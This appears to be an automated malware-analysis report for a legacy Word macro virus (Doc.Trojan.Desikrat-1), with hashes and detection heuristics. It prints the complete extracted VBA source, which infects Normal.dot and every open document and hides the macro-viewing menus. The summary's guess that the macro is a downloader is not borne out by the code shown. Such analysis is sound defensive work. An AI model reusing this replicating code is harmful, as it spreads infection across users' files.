Doc.Trojan.Desikrat-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 5a4e4c8015bba1dc…

MALICIOUS

Office (OLE)

31.0 KB Created: 2000-04-02 16:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 996f249f077414d9b7abb7a5eea78df1 SHA-1: 98a7a3a0936e2ea79e09f9d470b10461d96f2bcc SHA-256: 5a4e4c8015bba1dc91cc08fd7cf869fe76f1052b2d27a95051b773733c6f5fcb
220 Risk Score

Malware Insights

Doc.Trojan.Desikrat-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample exhibits characteristics of a legacy WordBasic macro-virus and contains VBA macros, specifically an AutoOpen subroutine, which are indicative of malicious intent. The script attempts to export and import a component named 'Desecration', suggesting it's designed to execute malicious code, likely a downloader for a second-stage payload. The ClamAV detection 'Doc.Trojan.Desikrat-1' further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Desikrat-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Desikrat-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2379 bytes
SHA-256: 95710f8f93bcee965a19dc92fafd052f101e8bd9151cad1d04f8b9f52d816f9e
Detection
ClamAV: Doc.Trojan.Desikrat-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Desecration"
'Desecration By RUiNER /Sign Of Scream
Dim xHost As String
Dim xVictim As String

Public Sub AutoOpen()
On Error Resume Next
If Application.Documents.Count = 0 Then
xHost = "Normal"
Else
xHost = Application.ActiveDocument.Name
End If
xVictim = xHost
Desecration
End Sub

Public Sub FileSave()
On Error Resume Next
xHost = Application.ActiveDocument.Name
xVictim = xHost
Desecration
ActiveDocument.Save
End Sub

Public Sub FileNew()
On Error Resume Next
If Application.Documents.Count = 0 Then
xHost = "Normal"
Else
xHost = Application.ActiveDocument.Name
End If
Dialogs(wdDialogFileNew).Show
xVictim = Application.ActiveDocument.Name
Desecration
End Sub

Public Sub FileOpen()
On Error Resume Next
If Application.Documents.Count = 0 Then
xHost = "Normal"
Else
xHost = Application.ActiveDocument.Name
End If
Dialogs(wdDialogFileOpen).Show
xVictim = Application.ActiveDocument.Name
Desecration
End Sub

Private Sub Desecration()
Dim xFlag As Integer
On Error Resume Next

xFlag = 0
For z = 1 To Normal.ThisDocument.VBProject.VBComponents.Count
If Normal.ThisDocument.VBProject.VBComponents.Item(z).Name = "Desecration" Then xFlag = xFlag + 1
Next z

If xFlag = 0 Then
 If xHost = "Normal" Then
  Normal.ThisDocument.VBProject.VBComponents("Desecration").Export "C:\MSDOS.___"
 Else
  Application.Documents(xHost).VBProject.VBComponents("Desecration").Export "C:\MSDOS.___"
 End If
 Normal.ThisDocument.VBProject.VBComponents.Import "C:\MSDOS.___"
Else
 Normal.ThisDocument.VBProject.VBComponents("Desecration").Export "C:\MSDOS.___"
End If

For z = 1 To Application.Documents.Count
 If Right$(Application.Documents(z).VBProject.Name, 1) <> "x" Then
  Application.Documents(z).VBProject.VBComponents.Import "C:\MSDOS.___"
  Application.Documents(z).VBProject.Name = Application.Documents(z).VBProject.Name & "x"
 End If
Next z

Application.Documents(xVictim).Activate
Kill "C:\MSDOS.___"
End Sub

Sub ToolsMacro()
End Sub

Sub ViewVBCode()
End Sub

Sub FileTemplates()
End Sub

Sub ToolsCustomize()
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.